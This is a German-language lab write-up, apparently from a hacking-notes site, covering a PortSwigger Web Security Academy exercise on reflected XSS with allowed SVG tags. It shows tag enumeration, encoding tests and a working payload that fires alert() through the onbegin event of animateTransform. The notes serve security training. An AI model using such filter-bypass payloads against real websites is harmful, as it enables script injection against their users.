> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/reflected-xss-with-svg-tags-allowed.md).

# Reflektiertes XSS mit erlaubten SVG-Tags

Notizen zu reflektiertem XSS mit erlaubten SVG-Tags für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Reflektiertes XSS mit teilweise erlaubtem SVG-Markup

XSS-Schwachstelle Denk einfach. Die Anwendung blockiert gängige HTML-Tags, lässt aber einige SVG-Tags und bestimmte Attribute/Ereignisse durch. Ziel: auszulösen `alert()` über ein SVG-Tag.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e6e342c576eadfabfd43555719665a0581b5aff%2F%7BF281A669-97E0-42B4-A6FA-2DF3DC9B8AD8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Gewöhnliche HTML-Tags werden blockiert.
* Es wird eine grobe Brute-Force-/Bestandsaufnahme der zugelassenen Tags durchgeführt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8de12bf14f3426efde0f8d732a8a0b6292a1fdf%2F%7B7DF6EEFF-F047-4412-84A4-168EB1FA742D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Serverantwort / Tests, die die gefundenen Tags zeigen: `animateTransform`, `image`, `svg`, `title`.

```javascript
<svg><animateTransform a=1>
<svg><animateTransform%20§a§=1>
```

* Schrittweise Einfügungstests:
* `<svg><animateTransform a=1>` — grundlegende Einfügung.
* Versuch, Leerzeichen zu kodieren / zu variieren: `<svg><animateTransform%20a=1>` — um die Filterung zu umgehen.
* Das verfügbare `onbegin` Ereignis ist zu finden auf `animateTransform`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5cd8029b8614da957bf5eeed913d0bf41392db4a%2F%7BC4F662EE-4950-42C5-A8AC-9DC998B1DDCC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<svg><animateTransform onbegin=alert(0)></animateTransform></svg>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c45c05c394c950b264594367548f703ba40ae8a2%2F%7B90337C91-94BF-4483-842F-6F0199B16A89%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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